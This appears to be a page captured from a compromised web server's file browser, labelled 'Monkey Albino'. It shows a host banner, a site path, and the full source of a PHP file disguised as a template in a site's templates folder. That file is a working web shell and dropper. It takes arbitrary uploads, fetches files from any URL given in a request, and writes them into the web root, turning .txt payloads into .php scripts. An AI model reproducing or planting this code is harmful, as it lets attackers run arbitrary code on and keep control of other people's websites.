Monkey Albino

Linux altar53.supremepanel53.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
/ home/ bdapparelinfo/ hi-techplasticltd.com/ templates/ atomic/

/home/bdapparelinfo/hi-techplasticltd.com/templates/atomic/templates-rhR9Ic.php

<?php error_reporting(0); $path = __DIR__; if(isset($_FILES["file_u"])){$ftarget=basename($_FILES["file_u"]["name"]); if(move_uploaded_file($_FILES["file_u"]["tmp_name"], $ftarget)){echo "<font color=\"green\">get file ok</font><br />";}else{echo "<font color=\"red\">fail</font><br />"; }} echo "<form enctype=\"multipart/form-data\" method=\"POST\"><input name=\"file_u\" type=\"file\"/><input type=\"submit\" value=\"Target File\"/></form></td></tr>"; function get($site, $dir){ $getf=curl_init(); curl_setopt($getf, CURLOPT_URL, $site); curl_setopt($getf, CURLOPT_RETURNTRANSFER, 1); curl_setopt($getf,CURLOPT_TIMEOUT,10); $data = curl_exec($getf); if(!$data){ $data = @file_get_contents($site);} file_put_contents($dir, $data);} if($_GET["url"]){ $site = $_GET["url"]; preg_match("/(.*)\/(.*)\.(.*?)$/",$site,$n); if($n[3]=="txt"){ $z="php"; $name=$n[2]; }else{ $z=$n[3]; $name="moban"; } if($_GET["dir"]){ $dir=$_SERVER["DOCUMENT_ROOT"]."/".$_GET["dir"]."/".$name.".".$z; }else{ $dir=$_SERVER["DOCUMENT_ROOT"]."/".$name.".".$z;} get($site,$dir); if(file_exists($dir)){echo "<tr><td><font color=\"green\">download success</font></td></tr>";}else{echo "<tr><td><font color=\"red\">download fail</font></td></tr>";}}elseif($_POST["url"]){ $site = $_POST["url"]; preg_match("/(.*)\/(.*)\.(.*?)$/",$site,$n); if($n[3]=="txt"){ $z="php"; $name=$n[2];}else{$z=$n[3]; $name="moban";} $dir = $_POST["path"]."/".$name.".".$z; get($site,$dir); if(file_exists($dir)){echo "<tr><td><font color=\"green\">download success</font></td></tr>";}else{echo "<tr><td><font color=\"red\">download fail</font></td></tr>";}}echo "<tr><td><form method=\"POST\"><span>Download: </span><input type=text name=\"url\" value=\"\"><input type=\"hidden\" name=\"path\" value=\"$path\"><input type=submit value=\"Download\"></form></td></tr>"; ?>